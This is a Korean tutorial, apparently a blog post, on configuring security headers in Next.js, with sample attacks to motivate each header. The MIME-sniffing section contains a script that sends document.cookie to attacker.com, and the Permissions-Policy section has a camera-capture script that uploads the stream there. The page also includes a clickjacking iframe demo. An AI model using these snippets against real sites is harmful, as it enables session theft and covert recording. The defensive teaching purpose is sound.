Next.js 보안 헤더 설정 가이드

이런 경험 있으신가요?

프로젝트를 열심히 개발해서 배포했는데, 보안 감사(Security Audit)를 받았더니 “보안 헤더가 누락되었습니다”라는 지적을 받은 경우.

저도 첫 프로젝트를 배포하고 자랑스럽게 securityheaders.com에 URL을 입력했을 때, F 등급이라는 충격적인 결과를 받았습니다.

Security Report for https://my-first-project.com
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Grade: F

Missing Headers:
❌ Strict-Transport-Security
❌ Content-Security-Policy
❌ X-Frame-Options
❌ X-Content-Type-Options
❌ Referrer-Policy
❌ Permissions-Policy

처음에는 “설마 이게 그렇게 중요할까?”라고 생각했습니다. 하지만 이런 헤더들이 없으면:

  • 클릭재킹 공격: 투명한 iframe으로 사용자를 속여서 의도하지 않은 액션을 실행
  • XSS 공격: 악성 스크립트가 삽입되어 사용자 데이터 탈취
  • 중간자 공격: HTTP 트래픽을 가로채서 비밀번호 노출
  • 권한 남용: 사용자 몰래 카메라/마이크/위치 정보 접근

실제 사례를 하나 말씀드리면, 2018년 British Airways 해킹 사건이 있습니다. 공격자들이 항공사 웹사이트에 악성 스크립트를 삽입했고, 2주 동안 약 38만 명의 고객 정보(신용카드 번호, CVV 포함)가 탈취되었습니다. 피해 규모는 무려 2억 3천만 달러에 달했고, 항공사는 GDPR 위반으로 추가 벌금까지 부과받았습니다.

조사 결과, 만약 Content-Security-Policy 헤더가 제대로 설정되어 있었다면, 악성 스크립트가 실행조차 되지 않았을 것이라고 합니다. 단 한 줄의 헤더 설정으로 막을 수 있었던 공격이, 수억 달러의 피해와 브랜드 신뢰도 하락으로 이어진 것입니다.

보안 헤더가 왜 필요한가요?

보안 헤더는 브라우저에게 “이 페이지는 이렇게 보호해주세요”라고 지시하는 설정입니다.

보안 헤더가 없을 때의 위험

시나리오: 온라인 뱅킹 앱을 만들었다고 가정해봅시다

사용자 정보:
- 계좌 번호: 123-456-789
- 잔액: 10,000,000원
- 세션 토큰: abc123xyz (쿠키에 저장)

공격 1: 클릭재킹 (X-Frame-Options 없음)

클릭재킹(Clickjacking)은 “클릭 하이재킹”입니다. 사용자가 클릭하려는 버튼 위에 투명한 레이어를 몰래 배치해서, 사용자 몰래 다른 액션을 실행하게 만드는 공격입니다.

상상해보세요. 유튜브에서 “고양이 웃긴 영상 모음”을 보고 있습니다. 영상 아래에 “더 많은 영상 보기” 버튼이 있네요. 클릭했습니다. 그런데 아무 일도 안 일어났습니다. “버튼이 고장났나?” 생각하고 다른 영상을 봤습니다.

하지만 그 순간, 여러분의 웹캠과 마이크 권한이 그 사이트에 허용되었습니다. 또는 관리자 계정에 공격자를 새 사용자로 추가했을 수도 있습니다.

실제 사례: Facebook Likejacking (2010년)

2010년, Facebook에서 대규모 클릭재킹 공격이 발생했습니다. 공격자들은 “귀여운 강아지 사진 보기” 같은 미끼 버튼을 만들고, 그 위에 투명한 Facebook “좋아요” 버튼을 배치했습니다.

<!-- 공격자 사이트 -->
<!DOCTYPE html>
<html>
  <body>
    <h1>🐶 세상에서 가장 귀여운 강아지!</h1>
    <p>사진을 보려면 아래 버튼을 클릭하세요</p>

    <!-- 투명한 Facebook iframe을 버튼 위에 배치 -->
    <iframe
      src="https://facebook.com/like-button?page=attacker-scam-page"
      style="position: absolute; opacity: 0; width: 100%; height: 100%;">
    </iframe>

    <button style="position: relative; z-index: -1;">사진 보기</button>
  </body>
</html>

공격 원리:

  1. 투명한 iframe: opacity: 0으로 완전히 투명하게 만든 Facebook “좋아요” 버튼
  2. 정확한 위치: “사진 보기” 버튼 정확히 위에 배치
  3. 이미 로그인된 세션: 사용자는 이미 Facebook에 로그인되어 있음
  4. 자동 좋아요: 클릭하면 공격자 페이지에 “좋아요” 실행

결과:

사용자: "사진 보기" 버튼을 클릭한다고 생각
    ↓
실제로는: 투명한 Facebook "좋아요" 버튼 클릭
    ↓
Facebook: "사용자가 좋아요를 눌렀구나"
    ↓
공격자 페이지에 "좋아요" + 친구들 타임라인에 공유됨
    ↓
친구들: "어? 왜 이 페이지를 좋아했지?"
    ↓
친구들도 클릭 → 바이럴처럼 확산

이 공격으로 수백만 명의 사용자가 의도하지 않게 스팸 페이지에 “좋아요”를 눌렀고, 그들의 친구들에게도 전파되었습니다.

더 현실적인 피해 사례:

클릭재킹은 생각보다 훨씬 다양한 곳에 사용됩니다:

  1. 브라우저 권한 허용
    "게임 시작" 버튼 클릭
    → 실제로는 "카메라/마이크 허용" 클릭
    → 공격자가 사용자를 몰래 녹화 가능
    
  2. 관리자 페이지에서 권한 부여
    관리자가 "업데이트 확인" 버튼 클릭
    → 실제로는 "새 관리자 추가" 버튼 클릭
    → 공격자가 관리자 권한 획득
    
  3. 구독 버튼
    "무료 다운로드" 버튼 클릭
    → 실제로는 "유료 구독" 버튼 클릭
    → 매달 자동 결제 시작
    
  4. 계정 설정 변경
    "확인" 버튼 클릭
    → 실제로는 "이메일 주소 변경" 버튼 클릭
    → 계정 복구 불가능
    

왜 무섭나요?

  • 사용자는 자신이 무엇을 클릭했는지 모릅니다 (아무 피드백이 없음)
  • 소셜 미디어를 통해 바이럴 확산 (친구들에게도 전파)
  • 브라우저 권한 악용 (카메라, 마이크, 위치 정보)
  • 추가 인증 불필요 (이미 로그인된 세션 활용) ㅎ

    공격 2: MIME 스니핑 (X-Content-Type-Options 없음)

MIME 스니핑(MIME Sniffing)은 브라우저가 파일의 실제 내용을 보고 타입을 “추측”하는 기능입니다. 개발자의 실수를 보완해주려는 친절한 기능이지만, 이것이 오히려 보안 취약점이 됩니다.

실제 사례: Internet Explorer의 MIME 스니핑 취약점

2000년대 중후반, Internet Explorer는 MIME 스니핑을 매우 공격적으로 수행했습니다. 이로 인해 수많은 웹사이트가 XSS 공격에 노출되었습니다.

대표적인 예시를 보겠습니다. GitHub, Stack Overflow 같은 사이트들이 실제로 겪었던 문제입니다:

시나리오 1: 사용자 아바타 업로드 기능

사용자가 프로필 아바타를 업로드할 수 있는 사이트입니다.

// malicious-avatar.gif (실제로는 HTML 파일)
<html>
<body>
<script>
  // 사용자의 세션 토큰 탈취
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>

공격자는 이 파일을 avatar.gif로 저장해서 업로드합니다.

공격 과정:

1단계: 공격자가 HTML을 .gif 파일로 위장해서 업로드
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
파일명: malicious-avatar.gif
Content-Type: image/gif (서버가 확장자 기준으로 설정)
실제 내용: <html><script>악성 코드</script></html>

2단계: 사이트가 업로드 허용 (확장자만 체크)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
서버: "확장자가 .gif니까 이미지로군, 업로드 허용"
파일 저장: /uploads/avatar-12345.gif
URL: https://mysite.com/uploads/avatar-12345.gif

3단계: 사용자가 프로필 페이지 방문
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
<img src="/uploads/avatar-12345.gif">
브라우저가 이미지 로드 시도

4단계: IE의 MIME 스니핑 작동
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
IE: "Content-Type은 image/gif인데..."
IE: "파일 내용을 보니 <html> 태그가 있네?"
IE: "이건 HTML 문서구나!"
IE: "HTML로 렌더링해야겠어"
→ <script> 태그 실행!

5단계: 악성 스크립트 실행
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
→ 사용자 세션 토큰 탈취
→ 공격자 서버로 전송
→ 공격자가 해당 계정으로 로그인 가능

시나리오 2: CSV 파일 다운로드 (더 교묘한 공격)

많은 웹 애플리케이션이 “내역 다운로드” 같은 CSV export 기능을 제공합니다.

// export.csv (실제로는 HTML)
Username,Email,Role
admin,admin@site.com,admin
<script>alert(document.cookie)</script>
user2,user2@site.com,user

사용자가 이 CSV 파일을 브라우저로 열면:

IE의 MIME 스니핑:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
IE: "Content-Type은 text/csv인데..."
IE: "파일에 <script> 태그가 있네?"
IE: "HTML로 실행해야겠어!"
→ XSS 공격 성공

브라우저의 “친절한” 동작 (X-Content-Type-Options 없을 때):

브라우저: "Content-Type은 image/jpeg인데..."
브라우저: "파일 내용을 보니 <script> 태그가 있네?"
브라우저: "아마 개발자가 Content-Type을 잘못 설정한 것 같아"
브라우저: "친절하게 실제 내용에 맞춰서 JavaScript로 실행해줄게!"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
→ XSS 공격 성공!

실제 공격 시나리오:

이 공격이 얼마나 흔한지 알아보기 위해, HackerOne의 버그 바운티 보고서를 보면 MIME 스니핑 취약점이 매년 수백 건 이상 보고됩니다. 특히 사용자 업로드 기능이 있는 사이트(커뮤니티, 블로그, SNS)에서 자주 발견됩니다.

예를 들어, 공격자가 profile.jpg를 업로드하고, 관리자가 그 프로필을 확인하는 순간 관리자 권한이 탈취되는 경우입니다. 업로드된 파일이 수천 개라면, 악성 파일 하나를 찾는 것은 거의 불가능합니다. X-Content-Type-Options 헤더 하나로 이 모든 공격을 원천 차단할 수 있습니다.

왜 무섭나요?

  • 모든 방문자가 피해자: 그 페이지를 방문한 모든 사용자가 공격당합니다
  • 관리자 권한 탈취: 관리자가 방문하면 사이트 전체를 장악당할 수 있습니다
  • 지속적 공격: 파일이 삭제될 때까지 계속 작동합니다
  • 발견이 어려움: 겉보기에는 정상적인 이미지 파일처럼 보입니다

공격 3: SSL Stripping (Strict-Transport-Security 없음)

SSL Stripping은 “HTTPS 벗기기”입니다. HTTPS가 있는데도 사용자를 HTTP로 유도해서, 암호화되지 않은 평문 통신으로 모든 데이터를 훔쳐보는 공격입니다.

카페에서 공용 Wi-Fi에 접속해서 은행 앱에 로그인한다고 상상해보세요. 주소창에 mybank.com을 입력합니다. 여러분은 “이 사이트는 HTTPS니까 안전하겠지” 생각합니다.

하지만 같은 Wi-Fi에 연결된 공격자가 있고, 그는 중간자(Man-in-the-Middle) 위치에 있습니다. 여러분의 모든 네트워크 트래픽을 가로챌 수 있는 상태입니다.

공격 과정:

1단계: 사용자가 주소창에 입력
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: "mybank.com" (프로토콜 생략)
브라우저: "프로토콜이 없네? 기본값인 HTTP로 먼저 시도할게"
HTTP 요청: http://mybank.com

2단계: 중간자가 요청 가로챔
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자 → [공격자가 여기서 가로챔] → 서버
공격자: "HTTP 요청이네, 좋아!"

3단계: 서버의 정상 응답
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
서버: "HTTP 301 Redirect"
Location: https://mybank.com
(HTTPS로 리다이렉트하라는 정상적인 응답)

4단계: 공격자가 응답 변조
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
공격자: "301 리다이렉트를 제거하고..."
공격자: "200 OK로 바꿔서 전달"
공격자: "사용자는 계속 HTTP에 머물게 만들기"

5단계: 사용자는 HTTP로 통신
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: "어? 주소창에 자물쇠 아이콘이 없네?"
사용자: "뭐, 은행 사이트니까 괜찮겠지" (무시하고 로그인)

6단계: 모든 데이터 탈취
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자 → [공격자] → 서버

모든 통신이 평문:
- ID: hong123
- 비밀번호: mypassword!@#
- 계좌번호: 123-456-789
- OTP: 123456
- 이체 내역: 모두 노출

공격자는 이 모든 정보를 실시간으로 확인합니다.

시각적으로 보면:

정상적인 경우 (HSTS 있음):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: mybank.com 입력
    ↓
브라우저: "HSTS 정책 확인... 무조건 HTTPS!"
    ↓
HTTPS로 즉시 접속: https://mybank.com
    ↓
암호화된 통신 → 공격자는 아무것도 못 봄 🔒

공격 당하는 경우 (HSTS 없음):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: mybank.com 입력
    ↓
브라우저: HTTP로 먼저 시도
    ↓
공격자가 HTTPS 리다이렉트 제거
    ↓
HTTP로 통신 계속
    ↓
모든 데이터 평문 노출 → 공격자가 모두 확인 👁️

실제 공격 도구:

이 공격은 너무 쉬워서 이미 자동화된 도구들이 많이 있습니다:

  • SSLstrip: 클릭 한 번으로 SSL Stripping 공격 실행
  • Bettercap: Wi-Fi 중간자 공격 자동화 도구
  • mitmproxy: HTTP/HTTPS 트래픽 가로채기

공용 Wi-Fi에서 누구나 이 도구를 실행하면, 같은 네트워크의 모든 사용자의 HTTP 트래픽을 볼 수 있습니다.

보안 컨퍼런스에서 자주 시연되는 공격:

많은 보안 컨퍼런스(DEF CON, Black Hat 등)에서 이 공격을 실시간 시연합니다. 회의장 Wi-Fi에 연결된 사람들의 HTTP 트래픽을 대형 스크린에 띄우는데, 로그인 정보, 이메일 내용, 검색 기록이 실시간으로 보입니다. 물론 사전 동의를 받고 교육 목적으로 하는 것이지만, 관객들은 “이렇게 쉽게 노출되는구나”하고 충격을 받습니다.

2019년 BlackHat 컨퍼런스에서는 참석자의 약 35%가 여전히 HTTP로 웹사이트에 접속했다는 연구 결과가 발표되었습니다. 보안 전문가들조차 방심하는 것입니다.

왜 무섭나요?

  • 공용 Wi-Fi는 모두 위험: 카페, 공항, 호텔, 모두 중간자 공격 가능
  • 사용자는 모름: 주소창에 자물쇠가 없어도 대부분 무시합니다
  • 은행 사이트도 뚫림: HSTS 없으면 어떤 사이트든 공격 가능
  • 자동화 도구 존재: 기술적 지식 없이도 공격 가능
  • VPN으로도 막기 어려움: 사용자가 VPN 켜기 전에 이미 공격당할 수 있음

보안 헤더로 방어하기

이제 각 헤더가 정확히 무엇을 방어하는지 알아봅시다.

X-Frame-Options: DENY
→ "이 페이지를 iframe에 넣지 마세요"
→ 클릭재킹 공격 차단

X-Content-Type-Options: nosniff
→ "Content-Type 헤더를 엄격히 따르세요"
→ MIME 스니핑 공격 차단

Strict-Transport-Security: max-age=31536000
→ "항상 HTTPS만 사용하세요 (1년간)"
→ SSL Stripping 공격 차단

Content-Security-Policy: default-src 'self'
→ "같은 도메인의 리소스만 로드하세요"
→ XSS 공격 차단

Referrer-Policy: strict-origin-when-cross-origin
→ "다른 도메인에는 민감한 정보 전송하지 마세요"
→ 정보 유출 방지

Permissions-Policy: camera=(), microphone=()
→ "카메라/마이크 접근 차단"
→ 사용자 몰래 녹화/녹음 방지

Next.js에서 보안 헤더 설정하기

Next.js는 두 가지 방법으로 보안 헤더를 설정할 수 있습니다.

방법 1: next.config.mjs (권장 - 정적 헤더)

가장 간단하고 효율적인 방법입니다. 빌드 시점에 적용되어 성능 오버헤드가 없습니다.

// next.config.mjs
/** @type {import('next').NextConfig} */
const nextConfig = {
  async headers() {
    return [
      {
        // 모든 경로에 적용
        source: '/:path*',
        headers: [
          {
            key: 'X-Frame-Options',
            value: 'DENY',
          },
          {
            key: 'X-Content-Type-Options',
            value: 'nosniff',
          },
          {
            key: 'Referrer-Policy',
            value: 'strict-origin-when-cross-origin',
          },
          {
            key: 'Permissions-Policy',
            value: 'camera=(), microphone=(), geolocation=()',
          },
        ],
      },
    ];
  },
};

export default nextConfig;

동작 방식:

빌드 시점:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
next build 실행
    ↓
Next.js가 헤더 설정 읽음
    ↓
빌드된 페이지에 헤더 정보 포함
    ↓
런타임 오버헤드 없음

요청 시점:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
GET /dashboard
    ↓
Next.js가 미리 설정된 헤더 자동 추가
    ↓
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
...

방법 2: proxy.ts (동적 헤더 필요 시)

요청에 따라 다른 헤더를 추가해야 한다면 proxy.ts를 사용합니다.

// proxy.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function proxy(request: NextRequest) {
  const response = NextResponse.next();

  // 기본 보안 헤더
  response.headers.set('X-Frame-Options', 'DENY');
  response.headers.set('X-Content-Type-Options', 'nosniff');
  response.headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
  response.headers.set('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');

  // 프로덕션에서만 HSTS 적용
  if (process.env.NODE_ENV === 'production') {
    response.headers.set(
      'Strict-Transport-Security',
      'max-age=31536000; includeSubDomains; preload'
    );
  }

  return response;
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
};

방법 3: 두 가지 조합 (Best Practice)

실무에서 권장하는 방법입니다.

// next.config.mjs - 정적 헤더 (대부분)
const nextConfig = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          { key: 'X-Frame-Options', value: 'DENY' },
          { key: 'X-Content-Type-Options', value: 'nosniff' },
          { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
          { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
          { key: 'X-XSS-Protection', value: '1; mode=block' },
          // HSTS (프로덕션 도메인만)
          {
            key: 'Strict-Transport-Security',
            value: 'max-age=31536000; includeSubDomains; preload',
          },
        ],
      },
    ];
  },
};

export default nextConfig;
// proxy.ts - 동적 헤더만 (CSP with nonce)
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import crypto from 'crypto';

export function proxy(request: NextRequest) {
  const response = NextResponse.next();

  // CSP nonce 동적 생성
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');

  response.headers.set(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:;`
  );

  // 페이지에서 사용할 수 있도록 nonce 전달
  response.headers.set('x-nonce', nonce);

  return response;
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
};

왜 이렇게 나누나요?

헤더 설정 위치 이유
X-Frame-Options next.config.mjs 항상 같은 값 (DENY)
X-Content-Type-Options next.config.mjs 항상 같은 값 (nosniff)
Referrer-Policy next.config.mjs 항상 같은 값
Permissions-Policy next.config.mjs 항상 같은 값
Strict-Transport-Security next.config.mjs 항상 같은 값 (프로덕션)
Content-Security-Policy proxy.ts nonce가 요청마다 달라짐

각 보안 헤더 상세 가이드

1. X-Frame-Options

목적: 클릭재킹 공격 방어

작동 원리:

공격자가 시도:
<iframe src="https://your-site.com"></iframe>
    ↓
브라우저가 X-Frame-Options 헤더 확인
    ↓
X-Frame-Options: DENY
    ↓
브라우저: "이 페이지는 iframe에서 로드 불가"
    ↓
iframe 로딩 차단

설정 옵션:

// 옵션 1: 완전 차단 (가장 안전)
{ key: 'X-Frame-Options', value: 'DENY' }

// 옵션 2: 같은 도메인만 허용
{ key: 'X-Frame-Options', value: 'SAMEORIGIN' }

언제 어떤 옵션을 사용하나요?

// DENY 사용 (대부분의 경우)
// - 일반 웹사이트
// - 온라인 뱅킹
// - 관리자 페이지
{ key: 'X-Frame-Options', value: 'DENY' }

// SAMEORIGIN 사용 (특수한 경우)
// - 자체 iframe 사용 (예: 미리보기 기능)
// - 같은 도메인의 다른 페이지에서 embed
{ key: 'X-Frame-Options', value: 'SAMEORIGIN' }

실전 예제:

// next.config.mjs
const nextConfig = {
  async headers() {
    return [
      {
        // 대부분 페이지: DENY
        source: '/:path*',
        headers: [
          { key: 'X-Frame-Options', value: 'DENY' },
        ],
      },
      {
        // embed 페이지만: SAMEORIGIN
        source: '/embed/:path*',
        headers: [
          { key: 'X-Frame-Options', value: 'SAMEORIGIN' },
        ],
      },
    ];
  },
};

2. X-Content-Type-Options

목적: MIME 타입 스니핑 방지

문제 시나리오:

// 공격자가 악성 스크립트를 이미지로 위장
// 파일명: innocent.jpg
// Content-Type: image/jpeg
// 실제 내용: <script>alert('XSS')</script>

// 개발자가 실수로 잘못된 태그 사용
<script src="innocent.jpg"></script>

브라우저의 “친절한” 동작 (X-Content-Type-Options 없이):

1. 브라우저: "script 태그인데 src가 .jpg네?"
2. 브라우저: "파일을 열어서 내용 확인..."
3. 브라우저: "이건 실제로는 JavaScript구나!"
4. 브라우저: "개발자가 실수한 것 같으니 실행해줄게"
5. 악성 스크립트 실행 → XSS 공격 성공

X-Content-Type-Options: nosniff 적용 후:

1. 브라우저: "script 태그인데 src가 .jpg네?"
2. 브라우저: "X-Content-Type-Options: nosniff 확인"
3. 브라우저: "Content-Type이 image/jpeg라고 명시되어 있음"
4. 브라우저: "JavaScript가 아니므로 실행 차단"
5. 콘솔 에러: "Refused to execute script from 'innocent.jpg'
   because its MIME type ('image/jpeg') is not executable"

설정:

// next.config.mjs
{
  key: 'X-Content-Type-Options',
  value: 'nosniff'  // 옵션은 이것 하나뿐
}

실제 효과:

✅ 보호되는 경우:
- 이미지 파일에 스크립트 숨기기
- CSS 파일에 스크립트 숨기기
- 잘못된 Content-Type 설정 악용

❌ 주의: 올바른 Content-Type 설정 필수!
- JavaScript: application/javascript
- CSS: text/css
- JSON: application/json
- HTML: text/html

3. Referrer-Policy

목적: Referrer 정보 제어 (민감한 정보 유출 방지)

문제 시나리오:

사용자가 다음 URL에 접속:
https://mybank.com/account?id=12345&token=abc123secret
    ↓
페이지에서 외부 링크 클릭:
<a href="https://analytics.com/track">분석 보기</a>
    ↓
브라우저가 Referer 헤더 자동 전송:
GET https://analytics.com/track
Referer: https://mybank.com/account?id=12345&token=abc123secret
    ↓
외부 사이트가 민감한 정보 획득!

Referrer-Policy로 방어:

// next.config.mjs
{
  key: 'Referrer-Policy',
  value: 'strict-origin-when-cross-origin'
}

동작 방식:

같은 도메인 (mybank.com → mybank.com):
Referer: https://mybank.com/account?id=12345&token=abc123secret
(전체 URL 전송 - 문제없음)

다른 도메인 (mybank.com → analytics.com):
Referer: https://mybank.com
(Origin만 전송 - 민감한 정보 제거)

HTTPS → HTTP:
Referer: (전송 안 함)
(보안 다운그레이드 시 아예 전송 차단)

옵션 비교:

// 1. no-referrer (가장 엄격)
value: 'no-referrer'
 모든 경우에 Referer 전송  
 분석 도구가 트래픽 소스 파악 불가

// 2. strict-origin-when-cross-origin (권장)
value: 'strict-origin-when-cross-origin'
 같은 도메인: 전체 URL
 다른 도메인: Origin만
 HTTPSHTTP: 전송  

// 3. same-origin
value: 'same-origin'
 같은 도메인: 전체 URL
 다른 도메인: 전송  
 Google Analytics 같은 외부 분석 불가

// 4. unsafe-url (사용 금지)
value: 'unsafe-url'
 모든 경우에 전체 URL 전송
 민감한 정보 유출 위험

실전 팁:

// URL에 민감한 정보가 있다면?
https://app.com/reset-password?token=secret123

// 해결책 1: POST 메서드 사용 (URL 대신 body에)
<form method="POST" action="/reset-password">
  <input type="hidden" name="token" value="secret123">
</form>

// 해결책 2: Referrer-Policy를 더 엄격하게
{
  source: '/reset-password',
  headers: [
    { key: 'Referrer-Policy', value: 'no-referrer' }
  ]
}

4. Permissions-Policy

목적: 브라우저 권한 제어 (카메라, 마이크, 위치 등)

왜 필요한가요?

생각해보세요. 여러분의 웹사이트에 제3자 광고 스크립트가 삽입되었습니다. 그 스크립트가 사용자 몰래 카메라를 켜거나, 위치 정보를 추적한다면?

// 악성 광고 스크립트
navigator.mediaDevices.getUserMedia({ video: true })
  .then(stream => {
    // 사용자 몰래 녹화 시작
    fetch('https://attacker.com/upload', {
      method: 'POST',
      body: stream
    });
  });

Permissions-Policy로 차단:

// next.config.mjs
{
  key: 'Permissions-Policy',
  value: 'camera=(), microphone=(), geolocation=()'
}

동작 방식:

악성 스크립트가 시도:
navigator.mediaDevices.getUserMedia({ video: true })
    ↓
브라우저가 Permissions-Policy 확인
    ↓
Permissions-Policy: camera=()
    ↓
브라우저: "이 사이트는 카메라 접근 금지"
    ↓
Error: NotAllowedError: Permission denied

세부 설정:

// 1. 완전 차단 (가장 안전 - 대부분의 웹사이트)
value: 'camera=(), microphone=(), geolocation=()'

// 2. 같은 도메인만 허용 (화상 회의 앱)
value: 'camera=(self), microphone=(self), geolocation=()'

// 3. 특정 도메인만 허용 (신뢰하는 제3자)
value: 'camera=(self "https://trusted-video-provider.com"), microphone=(self "https://trusted-video-provider.com")'

// 4. 모든 도메인 허용 (권장하지 않음)
value: 'camera=*, microphone=*'

차단 가능한 권한 목록:

{
  key: 'Permissions-Policy',
  value: [
    'camera=()',              // 카메라
    'microphone=()',          // 마이크
    'geolocation=()',         // 위치 정보
    'payment=()',             // 결제 API
    'usb=()',                 // USB 장치
    'magnetometer=()',        // 나침반
    'gyroscope=()',           // 자이로스코프
    'accelerometer=()',       // 가속도계
    'ambient-light-sensor=()',// 조도 센서
    'autoplay=()',            // 자동 재생
    'encrypted-media=()',     // DRM 콘텐츠
    'fullscreen=()',          // 전체 화면
    'picture-in-picture=()',  // PIP 모드
  ].join(', ')
}

실전 예제:

// next.config.mjs
const nextConfig = {
  async headers() {
    return [
      {
        // 일반 페이지: 모든 권한 차단
        source: '/:path*',
        headers: [
          {
            key: 'Permissions-Policy',
            value: 'camera=(), microphone=(), geolocation=(), payment=(), usb=()'
          }
        ],
      },
      {
        // 화상 회의 페이지: 카메라/마이크 허용
        source: '/video-call/:path*',
        headers: [
          {
            key: 'Permissions-Policy',
            value: 'camera=(self), microphone=(self), geolocation=()'
          }
        ],
      },
    ];
  },
};

5. X-XSS-Protection

목적: 구형 브라우저의 XSS 필터 활성화

중요한 주의사항:

⚠️ 최신 브라우저는 이 헤더를 무시합니다!
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Chrome 78+ (2019년 10월): 무시
Firefox: 처음부터 지원 안 함
Safari 13+ (2019년 9월): 무시
Edge: Chromium 기반 후 무시
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
이유: CSP(Content-Security-Policy)가 더 강력하기 때문

그럼에도 설정하는 이유:

구형 브라우저 지원:
- IE 11 (2025년에도 일부 기업에서 사용)
- 구형 Safari (iOS 12 이하)
- 구형 Android 브라우저

설정:

// next.config.mjs
{
  key: 'X-XSS-Protection',
  value: '1; mode=block'
}

// 옵션 설명:
// 0: XSS 필터 비활성화
// 1: XSS 필터 활성화 (감지 시 정제)
// 1; mode=block: XSS 감지 시 페이지 로딩 차단 (권장)

동작 예시 (구형 브라우저):

사용자가 악성 URL 클릭:
https://mysite.com/search?q=<script>alert('XSS')</script>
    ↓
서버가 응답:
X-XSS-Protection: 1; mode=block
    ↓
구형 브라우저가 URL 분석:
"<script> 태그가 URL에 있고, 페이지에도 반영되어 있네?"
    ↓
브라우저: "XSS 공격으로 의심됨"
    ↓
페이지 로딩 차단

현대적 접근:

// ❌ X-XSS-Protection에만 의존 (부족함)
{
  key: 'X-XSS-Protection',
  value: '1; mode=block'
}

// ✅ CSP와 함께 사용 (완벽)
[
  {
    key: 'X-XSS-Protection',
    value: '1; mode=block'  // 구형 브라우저용
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self'"  // 최신 브라우저용
  }
]

6. Strict-Transport-Security (HSTS)

목적: HTTPS 강제 (중간자 공격 방지)

왜 가장 중요한가요?

HTTPS가 없으면 다른 모든 보안 헤더가 무의미합니다. 중간자 공격으로 응답을 변조해서 보안 헤더를 제거할 수 있기 때문입니다.

공격 시나리오: SSL Stripping

1단계: 사용자가 주소창에 입력
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: "mybank.com" (프로토콜 생략)
브라우저: http://mybank.com 으로 접속 시도

2단계: 중간자 공격자 개입
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자 → [공격자] → 서버
HTTP 요청 → 가로챔

3단계: 서버의 정상 응답
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
서버: "HTTP 301 Redirect → https://mybank.com"

4단계: 공격자가 응답 변조
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
변조: "HTTP 200 OK" (HTTPS 제거)
사용자는 http://mybank.com 에 머물음

5단계: 결과
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: 평문 HTTP로 통신
공격자: 모든 데이터 열람 (비밀번호, 세션 등)

HSTS로 방어:

// next.config.mjs
{
  key: 'Strict-Transport-Security',
  value: 'max-age=31536000; includeSubDomains; preload'
}

동작 방식:

첫 방문 (HTTPS로 접속):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
브라우저 → https://mybank.com (HTTPS!)
    ↓
서버 응답:
Strict-Transport-Security: max-age=31536000
    ↓
브라우저: "앞으로 1년간 이 사이트는 무조건 HTTPS로만 접속"
    ↓
브라우저가 이 정보를 저장

이후 방문 (프로토콜 생략):
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자: "mybank.com" 입력
    ↓
브라우저: "저장된 HSTS 정책 확인"
    ↓
브라우저: "이 사이트는 무조건 HTTPS"
    ↓
브라우저가 자동으로 https://mybank.com 접속
    ↓
HTTP 요청 자체를 하지 않음 → SSL Stripping 불가능!

설정 옵션:

// 기본 설정
value: 'max-age=31536000'
// → 1년간 HTTPS만 사용

// includeSubDomains 추가
value: 'max-age=31536000; includeSubDomains'
// → 서브도메인도 모두 HTTPS 강제
// → api.mybank.com, cdn.mybank.com 등

// preload 추가
value: 'max-age=31536000; includeSubDomains; preload'
// → Chrome의 HSTS Preload List에 등록 가능
// → 첫 방문부터 HTTPS 강제 (완벽한 보안)

preload란?

문제: HSTS는 "첫 방문"이 HTTP일 수 있음
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
사용자가 처음 방문:
mybank.com → HTTP로 시도
    ↓
중간자 공격 가능 (첫 방문만)
    ↓
서버 응답: Strict-Transport-Security
    ↓
두 번째 방문부터 안전

해결책: HSTS Preload List
